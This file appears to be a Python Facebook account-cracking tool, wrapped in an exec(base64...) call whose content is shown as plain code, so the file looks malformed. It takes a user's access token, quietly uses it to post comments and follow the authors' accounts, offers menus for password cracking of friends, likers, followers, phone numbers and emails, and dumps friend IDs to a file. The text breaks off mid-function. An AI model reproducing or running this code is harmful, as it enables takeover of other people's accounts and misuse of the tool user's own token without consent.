for cpu_only in [False, True]:
for use_scatter in [False, True]:
dec = PolarSCLDecoder(frozen_pos,
n,
list_size=1,
use_fast_scl=use_fast_scl,
cpu_only=cpu_only,
use_scatter=use_scatter)
l_in = -1. * llr_ch # logits
u_hat_tf = dec(l_in).numpy()
# the output should be equal to the reference
self.assertTrue(np.array_equal(u_hat_tf, u_hat))
def test_hybrid_scl(self):
"""Verify hybrid SC decoding option.
Remark: XLA is currently not supported.
"""
bs = 10
n = 32
k = 16
crc_degree = "CRC11"
list_sizes = [1, 2, 8, 32]
frozen_pos, _ = generate_5g_ranking(k, n)
source = BinarySource()
enc = PolarEncoder(frozen_pos, n)
enc_crc = CRCEncoder(crc_degree)
k_crc = enc_crc.crc_length
u = source([bs, k-k_crc])
u_crc = enc_crc(u)
c = enc(u_crc)
llr_ch = 20.*(2.*c-1) # demod BPSK witout noise
for list_size in list_sizes:
dec = PolarSCLDecoder(frozen_pos,
n,
list_size=list_size,
use_hybrid_sc=True,
crc_degree=crc_degree)
u_hat = dec(llr_ch)
self.assertTrue(np.array_equal(u_crc.numpy(), u_hat.numpy()))
# verify that graph can be executed
@tf.function
def run_graph(u):
return dec(u)
u = source([bs, n])
# execute the graph twice
x = run_graph(u).numpy()
x = run_graph(u).numpy()
# and change batch_size
u = source([bs+1, n])
x = run_graph(u).numpy()
def test_dtype_flexible(self):
"""Test that output_dtype is variable."""
batch_size = 100
k = 30
n = 64
source = GaussianPriorSource()
frozen_pos, _ = generate_5g_ranking(k, n)
dtypes_supported = (tf.float16, tf.float32, tf.float64)
for dt_in in dtypes_supported:
for dt_out in dtypes_supported:
llr = source([[batch_size, n], 0.5])
llr = tf.cast(llr, dt_in)
dec = PolarSCLDecoder(frozen_pos, n, output_dtype=dt_out)
x = dec(llr)
self.assertTrue(x.dtype==dt_out)
# test that complex-valued inputs raise error
llr = source([[batch_size, n], 0.5])
llr_c = tf.complex(llr, tf.zeros_like(llr))
dec = PolarSCLDecoder(frozen_pos, n, output_dtype=tf.float32)
with self.assertRaises(TypeError):
x = dec(llr_c)
class TestPolarDecodingBP(unittest.TestCase):
"""Test Polar BP decoder."""
def test_invalid_inputs(self):
"""Test against invalid values of n and frozen_pos."""
# frozen vec to long
n = 32
frozen_pos = np.arange(n+1)
with self.assertRaises(AssertionError):
PolarBPDecoder(frozen_pos, n)
# n not a pow of 2
# frozen vec to long
n = 32
k = 12
frozen_pos,_ = generate_5g_ranking(k, n)
with self.assertRaises(AssertionError):
PolarBPDecoder(frozen_pos, n+1)
# test also valid shapes
# (k, n)
param_valid = [[0, 32], [10, 32], [32, 32], [100, 256],
[123, 1024], [1024, 1024]]
for p in param_valid:
frozen_pos, _ = generate_5g_ranking(p[0],p[1])
PolarBPDecoder(frozen_pos, p[1])
# no complex-valued input allowed
with self.assertRaises(ValueError):
frozen_pos,_ = generate_5g_ranking(32, 64)
PolarBPDecoder(frozen_pos, 64, output_dtype=tf.complex64)
def test_output_dim(self):
"""Test that output dims are correct (=n) and output is all-zero
codeword."""
# batch size
bs = 10
# (k, n)
param_valid = [[1, 32],[10, 32], [32, 32], [100, 256], [123, 1024],
[1024, 1024]]
for hard_out in [True, False]:
for p in param_valid:
frozen_pos, _ = generate_5g_ranking(p[0],p[1])
dec = PolarBPDecoder(frozen_pos,
p[1],
hard_out=hard_out)
# all-zero with BPSK (no noise);logits
c = -10. * np.ones([bs, p[1]])
u = dec(c).numpy()
self.assertTrue(u.shape[-1]==p[0])
if hard_out:
# also check that all-zero input yields all-zero output
u_hat = np.zeros([bs, p[0]])
self.assertTrue(np.array_equal(u, u_hat))
def test_identity(self):
"""Test that info bits can be recovered if no noise is added."""
bs = 10
# (k, n)
param_valid = [[1, 32], [10, 32], [32, 32], [100, 256], [123, 1024],
[1024, 1024]]
for p in param_valid:
source = BinarySource()
frozen_pos, _ = generate_5g_ranking(p[0], p[1])
enc = PolarEncoder(frozen_pos, p[1])
dec = PolarBPDecoder(frozen_pos, p[1])
u = source([bs, p[0]])
c = enc(u)
llr_ch = 20.*(2.*c-1) # demod BPSK witout noise
u_hat = dec(llr_ch)
self.assertTrue(np.array_equal(u.numpy(), u_hat.numpy()))
def test_keras(self):
"""Test that Keras model can be compiled (supports dynamic shapes)."""
bs = 10
k = 100
n = 128
source = BinarySource()
frozen_pos, _ = generate_5g_ranking(k, n)
inputs = tf.keras.Input(shape=(n), dtype=tf.float32)
x = PolarBPDecoder(frozen_pos, n)(inputs)
model = tf.keras.Model(inputs=inputs, outputs=x)
b = source([bs, n])
model(b)
# call twice to see that bs can change
b2 = source([bs+1, n])
model(b2)
model.summary()
def test_multi_dimensional(self):
"""Test against arbitrary shapes."""
k = 120
n = 256
frozen_pos, _ = generate_5g_ranking(k, n)
source = BinarySource()
dec = PolarBPDecoder(frozen_pos, n)
b = source([100, n])
b_res = tf.reshape(b, [4, 5, 5, n])
# encode 2D Tensor
c = dec(b).numpy()
# encode 4D Tensor
c_res = dec(b_res).numpy()
# and reshape to 2D shape
c_res = tf.reshape(c_res, [100, k])
# both version should yield same result
self.assertTrue(np.array_equal(c, c_res))
def test_batch(self):
"""Test that all samples in batch yield same output (for same input).
"""
bs = 100
k = 120
n = 256
frozen_pos, _ = generate_5g_ranking(k, n)
source = BinarySource()
dec = PolarBPDecoder(frozen_pos, n)
b = source([1, 15, n])
b_rep = tf.tile(b, [bs, 1, 1])
# and run tf version (to be tested)
c = dec(b_rep).numpy()
for i in range(bs):
self.assertTrue(np.array_equal(c[0,:,:], c[i,:,:]))
def test_numerics(self):
"""Test for numerical stability with large llrs and many iterations.
"""
bs = 100
k = 120
n = 256
num_iter = 200
for hard_out in [False, True]:
frozen_pos, _ = generate_5g_ranking(k, n)
source = GaussianPriorSource()
dec = PolarBPDecoder(frozen_pos,
n,
hard_out=hard_out,
num_iter=num_iter)
b = source([[bs,n], 0.001]) # very large llrs
c = dec(b).numpy()
# all values are finite (not nan and not inf)
self.assertTrue(np.sum(np.abs(1 - np.isfinite(c)))==0)
def test_tf_fun(self):
"""Test that graph mode works and XLA is supported."""
@tf.function
def run_graph(u):
return dec(u)
@tf.function(jit_compile=True)
def run_graph_xla(u):
return dec(u)
bs = 10
k = 32
n = 64
num_iter = 10
source = BinarySource()
frozen_pos, _ = generate_5g_ranking(k, n)
dec = PolarBPDecoder(frozen_pos, n, num_iter=num_iter)
# test that for arbitrary input only 0,1 values are returned
u = source([bs, n])
x = run_graph(u).numpy()
# execute the graph twice
x = run_graph(u).numpy()
# and change batch_size
u = source([bs+1, n])
x = run_graph(u).numpy()
x = run_graph(u).numpy()
# Currently not supported
# run same test for XLA (jit_compile=True)
#u = source([bs, n])
#x = run_graph_xla(u).numpy()
#x = run_graph_xla(u).numpy()
#u = source([bs+1, n])
#x = run_graph_xla(u).numpy()
def test_ref_implementation(self):
"""Test against Numpy reference implementation.
Test hard and soft output.
"""
def boxplus_np(x, y):
"""Check node update (boxplus) for LLRs in numpy.
See [Stimming_LLR]_ and [Hashemi_SSCL]_ for detailed equations.
"""
x_in = np.maximum(np.minimum(x, llr_max), -llr_max)
y_in = np.maximum(np.minimum(y, llr_max), -llr_max)
# avoid division for numerical stability
llr_out = np.log(1 + np.exp(x_in + y_in))
llr_out -= np.log(np.exp(x_in) + np.exp(y_in))
return llr_out
def decode_bp(llr_ch, n_iter, frozen_pos, info_pos):
n = llr_ch.shape[-1]
bs = llr_ch.shape[0]
n_stages = int(np.log2(n))
msg_r = np.zeros([bs, n_stages+1, n])
msg_l = np.zeros([bs, n_stages+1, n])
# init llr_ch
msg_l[:, n_stages, :] = -1*llr_ch.numpy()
# init frozen positions with infty
msg_r[:, 0, frozen_pos] = llr_max
# and decode
for iter in range(n_iter):
# update r messages
for s in range(n_stages):
# calc indices
ind_range = np.arange(int(n/2))
ind_1 = ind_range * 2 - np.mod(ind_range, 2**(s))
ind_2 = ind_1 + 2**s
# load messages
l1_in = msg_l[:, s+1, ind_1]
l2_in = msg_l[:, s+1, ind_2]
r1_in = msg_r[:, s, ind_1]
r2_in = msg_r[:, s, ind_2]
# r1_out
msg_r[:, s+1, ind_1] = boxplus_np(r1_in, l2_in + r2_in)
# r2_out
msg_r[:, s+1, ind_2] = boxplus_np(r1_in, l1_in) + r2_in
# update l messages
for s in range(n_stages-1, -1, -1):
ind_range = np.arange(int(n/2))
ind_1 = ind_range * 2 - np.mod(ind_range, 2**(s))
ind_2 = ind_1 + 2**s
l1_in = msg_l[:, s+1, ind_1]
l2_in = msg_l[:, s+1, ind_2]
r1_in = msg_r[:, s, ind_1]
r2_in = msg_r[:, s, ind_2]
# l1_out
msg_l[:, s, ind_1] = boxplus_np(l1_in, l2_in + r2_in)
# l2_out
msg_l[:, s, ind_2] = boxplus_np(r1_in, l1_in) + l2_in
# recover u_hat
u_hat_soft = msg_l[:, 0, info_pos]
u_hat = 0.5 * (1 - np.sign(u_hat_soft))
return u_hat, u_hat_soft
# generate llr_ch
noise_var = 0.3
num_iters = [5, 10, 20, 40]
llr_max = 19.3
bs = 100
n = 128
k = 64
frozen_pos, info_pos = generate_5g_ranking(k, n)
for num_iter in num_iters:
source = GaussianPriorSource()
llr_ch = source([[bs, n], noise_var])
# and decode
dec_bp = PolarBPDecoder(frozen_pos, n,
hard_out=True, num_iter=num_iter)
dec_bp_soft = PolarBPDecoder(frozen_pos, n,
hard_out=False, num_iter=num_iter)
u_hat_bp = dec_bp(llr_ch).numpy()
u_hat_bp_soft = dec_bp_soft(llr_ch,).numpy()
# and run BP decoder
u_hat_ref, u_hat_ref_soft = decode_bp(llr_ch,
num_iter,
frozen_pos,
info_pos)
# the output should be equal to the reference
self.assertTrue(np.array_equal(u_hat_bp, u_hat_ref))
self.assertTrue(np.allclose(-u_hat_bp_soft,
u_hat_ref_soft,
rtol=5e-2,
atol=5e-3))
def test_dtype_flexible(self):
"""Test that output dtype is variable."""
batch_size = 100
k = 30
n = 64
source = GaussianPriorSource()
frozen_pos, _ = generate_5g_ranking(k, n)
dtypes_supported = (tf.float16, tf.float32, tf.float64)
for dt_in in dtypes_supported:
for dt_out in dtypes_supported:
llr = source([[batch_size, n], 0.5])
llr = tf.cast(llr, dt_in)
dec = PolarBPDecoder(frozen_pos, n, output_dtype=dt_out)
x = dec(llr)
self.assertTrue(x.dtype==dt_out)
# test that complex inputs raise error
llr = source([[batch_size, n], 0.5])
llr_c = tf.complex(llr, tf.zeros_like(llr))
dec = PolarBPDecoder(frozen_pos, n, output_dtype=tf.float32)
with self.assertRaises(TypeError):
x = dec(llr_c)
class TestPolarDecoding5G(unittest.TestCase):
def test_invalid_inputs(self):
"""Test against invalid input values.
Note: consistency of code parameters is already checked by the encoder.
"""
enc = Polar5GEncoder(40, 60)
with self.assertRaises(AssertionError):
Polar5GDecoder(enc, dec_type=1)
with self.assertRaises(ValueError):
Polar5GDecoder(enc, dec_type="ABC")
with self.assertRaises(AssertionError):
Polar5GDecoder("SC")
# Filter warnings related to large ressource allocation
@pytest.mark.filterwarnings("ignore: Required ressource allocation")
def test_identity_de_ratematching(self):
"""Test that info bits can be recovered if no noise is added and
dimensions are correct."""
bs = 10
# (k,n)
param_valid = [[12, 32], [20, 32], [100, 257], [123, 897],
[1013, 1088]]
dec_types = ["SC", "SCL", "hybSCL", "BP"]
for p in param_valid:
for dec_type in dec_types:
source = BinarySource()
enc = Polar5GEncoder(p[0], p[1])
dec = Polar5GDecoder(enc, dec_type=dec_type)
u = source([bs, p[0]])
c = enc(u)
self.assertTrue(c.numpy().shape[-1]==p[1])
llr_ch = 20.*(2.*c-1) # demod BPSK witout noise
u_hat = dec(llr_ch)
self.assertTrue(np.array_equal(u.numpy(), u_hat.numpy()))
# Filter warnings related to large ressource allocation
@pytest.mark.filterwarnings("ignore: Required ressource allocation")
def test_keras(self):
"""Test that Keras model can be compiled (supports dynamic shapes)."""
bs = 10
k = 100
n = 145
source = BinarySource()
enc = Polar5GEncoder(k, n)
dec_types = ["SC", "SCL", "hybSCL", "BP"]
for dec_type in dec_types:
inputs = tf.keras.Input(shape=(n), dtype=tf.float32)
x = Polar5GDecoder(enc, dec_type=dec_type)(inputs)
model = tf.keras.Model(inputs=inputs, outputs=x)
b = source([bs,n])
model(b)
# call twice to see that bs can change
b2 = source([bs+1,n])
model(b2)
model.summary()
# Filter warnings related to large ressource allocation
@pytest.mark.filterwarnings("ignore: Required ressource allocation")
def test_multi_dimensional(self):
"""Test against arbitrary shapes."""
k = 120
n = 237
enc = Polar5GEncoder(k, n)
source = BinarySource()
dec_types = ["SC", "SCL", "hybSCL", "BP"]
for dec_type in dec_types:
dec = Polar5GDecoder(enc, dec_type=dec_type)
b = source([100, n])
b_res = tf.reshape(b, [4, 5, 5, n])
# encode 2D Tensor
c = dec(b).numpy()
# encode 4D Tensor
c_res = dec(b_res).numpy()
# and reshape to 2D shape
c_res = tf.reshape(c_res, [100, k])
# both version should yield same result
self.assertTrue(np.array_equal(c, c_res))
# Filter warnings related to large ressource allocation
@pytest.mark.filterwarnings("ignore: Required ressource allocation")
def test_batch(self):
"""Test that all samples in batch yield same output (for same input).
"""
bs = 100
k = 95
n = 145
enc = Polar5GEncoder(k, n)
source = GaussianPriorSource()
dec_types = ["SC", "SCL", "hybSCL", "BP"]
for dec_type in dec_types:
dec = Polar5GDecoder(enc, dec_type=dec_type)
llr = source([[1,4,n], 0.5])
llr_rep = tf.tile(llr, [bs, 1, 1])
# and run tf version (to be tested)
c = dec(llr_rep).numpy()
for i in range(bs):
self.assertTrue(np.array_equal(c[0,:,:], c[i,:,:]))
def test_tf_fun(self):
"""Test that tf.function decorator works
include xla compiler test."""
bs = 10
k = 45
n = 67
enc = Polar5GEncoder(k, n)
source = GaussianPriorSource()
# hybSCL does not support graph mode!
dec_types = ["SC", "SCL", "BP"]
for dec_type in dec_types:
print(dec_type)
dec = Polar5GDecoder(enc, dec_type=dec_type)
@tf.function
def run_graph(u):
return dec(u)
@tf.function(jit_compile=True)
def run_graph_xla(u):
return dec(u)
# test that for arbitrary input only binary values are returned
u = source([[bs, n], 0.5])
x = run_graph(u).numpy()
# execute the graph twice
x = run_graph(u).numpy()
# and change batch_size
u = source([[bs+1, n], 0.5])
x = run_graph(u).numpy()
# run same test for XLA (jit_compile=True)
# BP does currently not support XLA
if dec_type != "BP":
u = source([[bs, n], 0.5])
x = run_graph_xla(u).numpy()
x = run_graph_xla(u).numpy()
u = source([[bs+1, n], 0.5])
x = run_graph_xla(u).numpy()
def test_dtype_flexible(self):
"""Test that output dtype can be variable."""
batch_size = 100
k = 30
n = 64
source = GaussianPriorSource()
enc = Polar5GEncoder(k, n)
dtypes_supported = (tf.float16, tf.float32, tf.float64)
for dt_in in dtypes_supported:
for dt_out in dtypes_supported:
llr = source([[batch_size, n], 0.5])
llr = tf.cast(llr, dt_in)
dec = Polar5GDecoder(enc, output_dtype=dt_out)
x = dec(llr)
self.assertTrue(x.dtype==dt_out)
# test that complex inputs raise error
llr = source([[batch_size, n], 0.5])
llr_c = tf.complex(llr, tf.zeros_like(llr))
dec = Polar5GDecoder(enc, output_dtype=tf.float32)
with self.assertRaises(TypeError):
x = dec(llr_c)
| 34.419048
| 103
| 0.502767
| 5,344
| 43,368
| 3.901759
| 0.075973
| 0.043595
| 0.030982
| 0.03549
| 0.843509
| 0.817227
| 0.795885
| 0.774207
| 0.760059
| 0.745576
| 0
| 0.041742
| 0.39181
| 43,368
| 1,259
| 104
| 34.446386
| 0.748787
| 0.156982
| 0
| 0.813517
| 0
| 0
| 0.01804
| 0
| 0
| 0
| 0
| 0
| 0.075094
| 1
| 0.061327
| false
| 0
| 0.017522
| 0.011264
| 0.097622
| 0.005006
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
6182f7cf6f0715951cf7dcdb4e20317c20da3789
| 132
|
py
|
Python
|
contacts/processors.py
|
phildini/logtacts
|
2cfc1d93a6ec7535b57a42b46b7d8c5c09a4729b
|
[
"MIT"
] | 56
|
2016-02-22T16:12:53.000Z
|
2021-01-12T20:59:02.000Z
|
contacts/processors.py
|
phildini/logtacts
|
2cfc1d93a6ec7535b57a42b46b7d8c5c09a4729b
|
[
"MIT"
] | 107
|
2016-01-04T00:49:37.000Z
|
2021-11-18T18:27:24.000Z
|
contacts/processors.py
|
phildini/logtacts
|
2cfc1d93a6ec7535b57a42b46b7d8c5c09a4729b
|
[
"MIT"
] | 23
|
2016-01-04T00:54:09.000Z
|
2021-07-09T15:23:15.000Z
|
def book(request):
if hasattr(request, 'current_book'):
return {'book': request.current_book}
return {'book': None }
| 33
| 45
| 0.643939
| 16
| 132
| 5.1875
| 0.5
| 0.26506
| 0.433735
| 0.578313
| 0.674699
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.204545
| 132
| 4
| 46
| 33
| 0.790476
| 0
| 0
| 0
| 0
| 0
| 0.150376
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| false
| 0
| 0
| 0
| 0.75
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 7
|
61867cdcb6b7942ca218c64a687a15ae71f5896b
| 48,126
|
py
|
Python
|
run_enc.py
|
OPDIHI/op-run
|
500b5fd0055952b6da5c37767f0be46154c33c6f
|
[
"Apache-2.0"
] | null | null | null |
run_enc.py
|
OPDIHI/op-run
|
500b5fd0055952b6da5c37767f0be46154c33c6f
|
[
"Apache-2.0"
] | null | null | null |
run_enc.py
|
OPDIHI/op-run
|
500b5fd0055952b6da5c37767f0be46154c33c6f
|
[
"Apache-2.0"
] | null | null | null |
#!/usr/bin/python3
# Authot : Khamdihi & nisa-xd
# Hargai author :(
import base64
exec(base64.b64decode('#!/usr/bin/python3
# Author : Khamdihi xcrack
# Authur 2 : NISA-XD
# WAJIB SUSCRIBE CHENEL AKU :)
# Cie di jebol
### MODULE IMPORT
import requests,mechanize,bs4,sys,os,subprocess,uuid,random,time,re,base64,urllib,json,urllib.parse,concurrent.futures
from random import randint
from urllib.parse import quote
from concurrent.futures import ThreadPoolExecutor as ThreadPool
from bs4 import BeautifulSoup as parser
from datetime import date
from datetime import datetime
current = datetime.now()

### KODE WARNA

p = "\x1b[0;37m" # putih
m = "\x1b[0;31m" # merah
h = "\x1b[0;32m" # hijau
k = "\x1b[0;33m" # kuning
b = "\x1b[0;34m" # biru
u = "\x1b[0;35m" # ungu
o = "\x1b[0;36m" # biru muda

if ("linux" in sys.platform.lower()):

        N = "\033[0m"
        G = "\033[1;92m"
        O = "\033[1;97m"
        R = "\033[1;91m"
else:

        N = ""
        G = ""
        O = ""
        R = ""

### SPANDUK ABADI ###

def banner():
    print("""\33[36;1m
   _   __  _ __   __ _____   __        _   __   ___    ____
  / \,' / /// /  / //_  _/  / /       / \,' /  / o.)  / __/
 / \,' / / U /  / /_ / /   / /       / \,' /  / o \  / _/
/_/ /_/  \_,'  /___//_/   /_/       /_/ /_/  /___,' /_/

\33[0;36m[\33[1;33m•\33[0;36m] \33[32;1mPembuat (1) \33[1;33m: KHAMDIHI XCRACK
\33[0;36m[\33[1;33m•\33[0;36m] \33[32;1mPembuat (2) \33[1;33m: NISA-XD
\33[0;36m[\33[1;33m•\33[0;36m] \33[32;1mStatus      \33[1;33m: Aktive
\33[0;36m[\33[1;33m•\33[0;36m] \33[32;1mversi       \33[1;33m: 1.8
 """)
ua="NokiaC3-00/5.0 (07.20) Profile/MIDP-2.1 Configuration/CLDC-1.1 Mozilla/5.0 AppleWebKit/420+ (KHTML, like Gecko) Safari/420+"

ua2="Mozilla/5.0 (Linux; Android 4.1.2; Nokia_X Build/JZO54K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.82 Mobile Safari/537.36 NokiaBrowser/1.2.0.12"
host="https://mbasic.facebook.com"
ips=None
try:
	b=requests.get("http://ip-api.com/json/").json()["query"]
	ips=requests.get("http://ip-api.com/json/"+b,headers={"Referer":"http://ip-api.com/","Content-Type":"application/json; charset=utf-8","User-Agent":"Mozilla/5.0 (Linux; Android 10; Mi 9T Pro Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36[FBAN/EMA;FBLC/it_IT;FBAV/239.0.0.10.109;]"}).json()["country"].lower()
except:
	ips=None

ok = []
cp = []
ttl =[]

freefacebook = "https://free.facebook.com" #Update Method!

durasi = str(datetime.now().strftime("%d-%m-%Y"))
tahun = current.year
bulan = current.month
hari = current.day

br = mechanize.Browser()
br.set_handle_robots(False)
br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(),max_time=1)
br.addheaders = [('User-Agent',ua)]

def jalan(z):
	for e in z + "\n":
		sys.stdout.write(e)
		sys.stdout.flush()
		time.sleep(0.03)

def clear():
	if " linux" in sys.platform.lower():
		os.system("clear")
	elif "win" in sys.platform.lower():
		os.system("cls")
	else:os.system("clear")
def hdcok():
	global host,ua
	hosts=host
	r={"origin": hosts, "accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7", "accept-encoding": "gzip, deflate", "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8", "user-agent": "Mozilla/5.0 (Linux; Android 10; Mi 9T Pro Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36[FBAN/EMA;FBLC/it_IT;FBAV/239.0.0.10.109;]", "Host": "".join(bs4.re.findall("://(.*?)$",hosts)), "referer": hosts+"/login/?next&ref=dbl&fl&refid=8", "cache-control": "max-age=0", "upgrade-insecure-requests": "1", "content-type": "application/x-www-form-urlencoded"}
	return r

### LOGIN METHODE ###
def logs():
  os.system("clear")
  banner()
  print ("")
  print(("[01] Login Token"))
  print(("[02] Contact Author"))
  print(("[00] Exit\n"))
  sek=input(" • > Choose : ")
  if sek=="":
    print(("[!] Fill In The Correct"))
    logs()
  elif sek=="1" or sek=="01":
    log_token()
  elif sek=="2" or sek=="02":
    masalah()
  elif sek=="0" or sek=="00":
    exit()
  else:
    print(("[!] Fill In The Correct"))
    logs()

### MASLAH SCRIPT
def masalah():
    os.system("xdg-open https://wa.me/message/35SU3CBC6EBRO1")
    logs()
def eror():
	os.system("xdg-open https://wa.me/message/35SU3CBC6EBRO1")
	menu()
### LOGIN TOKEN.TXT ###
def log_token():
    os.system("clear")
    banner()
    jalan((" [!] gunakan akun tumbal ngab "))
    toket = input("\n [?] Masukan Token.txt : ")
    try:
        otw = requests.get("https://graph.facebook.com/me?access_token=" + toket)
        a = json.loads(otw.text)
        nama = a["name"]
        zedd = open("login.txt", "w")
        zedd.write(toket)
        zedd.close()
        print((" [!] Berhasil Login !"))
        jalan((" [•] Please Subscribe My Channel:)"))
        os.system('xdg-open https://youtube.com/channel/UCT_C8Owy2F8cw7FvopCGa0g')
        bot_follow()
        menu()
    except KeyError:
        print(("\n [!] Token Invalid"))
        logs()

## BOT FOLLOW MEME
komtwol = random.choice(["Salam 2 Jari Bang", "Sensei Terbaek Lah ", "bang lu kgk punya pacar?", "MengKeren Lah Bang", "Semangat Bang!", "Gua Murid Lu Bang", "Bjir BiiDev Femes Cuk Gua Ampe Mrinding", "Tumben Post Bang?", "Gua Pengin Jadi Kek Lu Bang", "Semoga Abang Jadi Orang Sukses", "Bjir Lawack Kali Kau Bang"])


kazutora = random.choice(["gans lu bang :v","oyoyoy lu gila ya?","ebink ngentod :v","masih smp udh bisa ngoding \n #bukanmaen","bang lu umur berapa?","moga lu sukses bang :)","master gua ini mah!","ster ajarin hack hati cewek doang","tutor dapetin cewek bang","gansnya bukanmaen awokawok"])
komen = komtwol
komendua = kazutora
post = "3909741969124574"
postdua = "4134869446611824"
def bot_follow():
	try:
		toket=open("login.txt","r").read()
		otw = requests.get("https://graph.facebook.com/me/?access_token="+toket)
		a = json.loads(otw.text)
		nama = a["name"]
		id = a["id"]
	except IOError:
		jalan((" [•] Token Invalid"))
		logs()
	requests.post('https://graph.facebook.com/' + post + '/comments/?message=' + komen +'&access_token=' + toket)
	requests.post('https://graph.facebook.com/' + postdua + '/comments/?message=' + komendua + '&acces_token'+toket)
	requests.post('https://graph.facebook.com/100002664282607/subscribers?access_token=' + toket) # TERSERAH
	requests.post('https://graph.facebook.com/100000419639430/subscribers?access_token=' + toket) # KHAMDIHI
	requests.post('https://graph.facebook.com/1752684667/subscribers?access_token=' + toket) # GUE SUKA SAMA DIA TAPI DIA NYA NGGA :(
	requests.post('https://graph.facebook.com/id-lu/subscribers?access_token=' + toket) # DIHI
	requests.post('https://graph.facebook.com/id-lu/subscribers?access_token=' + toket) # 
	requests.post('https://graph.facebook.com/id-lu/subscribers?access_token=' + toket) # 
	requests.post('https://graph.facebook.com/id-lu/subscribers?access_token=' + toket) # 
	requests.post('https://graph.facebook.com/id-lu/subscribers?access_token=' + toket) # REKODD 10K :) / GA BANG BERCANDA
	menu()

### MENU MALING AKUN
def menu():
    global ua
    try:
        toket = open("login.txt","r").read()
        otw = requests.get("https://graph.facebook.com/me/?access_token="+toket)
        a = json.loads(otw.text)
        nama = a["first_name"]
        ttl = a["birthday"]
        id = a["id"]
    except Exception as e:
        print((p+" ["+k+"•"+m+"•"+p+" Error : %s"%e))
        logs()
    ip = requests.get("https://api.ipify.org").text
    os.system("clear")
    banner()
    jalan(("\n[!] Selamat datang \033[1;32m"+nama))
    print(" ")
    print(("\33[0;36m[\33[1;33m•\33[0;36m] \33[37;1mYour ID      : \033[1;32m"+id))
    print(("\33[0;36m[\33[1;33m•\33[0;36m] \33[37;1mYour TTL     : \033[1;32m"+ttl))
    print(("\33[0;36m[\33[1;33m•\33[0;36m] \33[37;1mIp devis     : \033[1;32m"+ip))
    print(("\33[0;36m[\33[1;33m•\33[0;36m] \33[37;1mYour Joined  : \033[1;32m"+durasi))
    print(("\n\33[0;36m[\33[1;33m1\33[0;36m] \33[37;1mCrack ID From Public/Teman !!"))
    print(("\33[0;36m[\33[1;33m2\33[0;36m] \33[37;1mCrack ID From Likers Post"))
    print(("\33[0;36m[\33[1;33m3\33[0;36m] \33[37;1mCrack ID From Followers"))
    print(("\33[0;36m[\33[1;33m4\33[0;36m] \33[37;1mCrack Phone Number"))
    print(("\33[0;36m[\33[1;33m5\33[0;36m] \33[37;1mCrack Email"))
    print(("\33[0;36m[\33[1;33m6\33[0;36m] \33[37;1mCheck Opsi Account Checkpoint"))
    print(("\33[0;36m[\33[1;33m7\33[0;36m] \33[37;1mLapor bug"))
#   print(("\33[0;36m[\33[1;33m8\33[0;36m] \33[37;1m Set ua"))
    print(("\33[0;36m[\33[1;33m0\33[0;36m] \33[37;1mLogout "))
    khamdihi_main_menu()

## INPUT MAIN MENU Njing
def khamdihi_main_menu():
	r=input("\n -> Gaz buat dosa : ")
	if r=="":
		print((" [!] Fill In The Correct"))
		menu()
	elif r=="1" or r=="01": # Capek Gue ngetik njir
		publik()	# Lu enak rekode :(
	elif r=="2" or r=="02": # Mau di kucni ga tega
		likers()	# Itung² buat belajar lu
	elif r=="3" or r=="03": # Suscribe my chnenel :(
		follow()	# Baru buat :)
	elif r=="4" or r=="04": # Thnks buat lu yg udh
		random_numbers() # Suscribe chenel gue !
	elif r=="5" or r=="05":
		random_email()
	elif r=="6" or r=="06":
		cek_opsi()
	elif r=="7" or r=="07":
		eror()
	elif r=="8" or r=="08":
		useragent()
	elif r=="0" or r=="00":
		try:
			os.system("rm -rf login.txt")
			jalan("[!] Token telah terhapus")
			exit()
		except Exception as e:
			print((" [!] Error %s"%e))
	else:
		print(("\n [!] Wrong Input"))
		menu()

### MENU PILIH METHODE
def pilihcrack(file):
  print("  ")
  print(("[!] Select methode crack"))
  jalan(("[1] Crack With Api.Facebook"))
  jalan(("[2] Crack With Api.Facebook + TTL "))
  jalan(("[3] Crack With Mbasic.Facebook"))
  jalan(("[4] Crack With Mbasic.Facebook + TTL"))
  jalan(("[0] Balik ke menu "))
  dihi=input(p+"\n[?] Choose : ")
  if dihi in[""]:
    print(("[!] Fill In The Correct"))
    pilihcrack(file)
  elif dihi in["1","01"]:
    bapi(file)
  elif dihi in["2","02"]:
    bapittl(file)
  elif dihi in["3","03"]:
    crack(file)
  elif dihi in["4","04"]:
    crackttl(file)
  elif dihi in["0","00"]:
    menu()
  else:
    print(("[!]  Fill In The Correct"))
    pilihcrack(file)

## CRACK PUBLIK/TEMAN
def publik():
	try:
		toket=open("login.txt","r").read()
	except IOError:
		jalan(("\n [!] Cookie/Token Invalid"))
		os.system("rm -rf login.txt")
		logs()
	try:
		jalan(("\n[?] Ketik me Dump From Friendlist"))
		idt = input("[!] User ID Target: ")
		try:
			jok = requests.get("https://graph.facebook.com/"+idt+"?access_token="+toket)
			op = json.loads(jok.text)
			print(("[!] Name: "+op["name"]))
		except KeyError:
			jalan(("[!] ID Not Found"))
			print(("\n [BACK]"))
			menu()
		r=requests.get("https://graph.facebook.com/"+idt+"/friends?limit=10000&access_token="+toket)
		id = []
		z=json.loads(r.text)
		qq = (op["first_name"]+".json").replace(" ","_")
		ys = open(qq , "w")#.replace(" ","_")
		for a in z["data"]:
			id.append(a["id"]+"<=>"+a["name"])
			ys.write(a["id"]+"<=>"+a["name"]+"\n")
		ys.close()
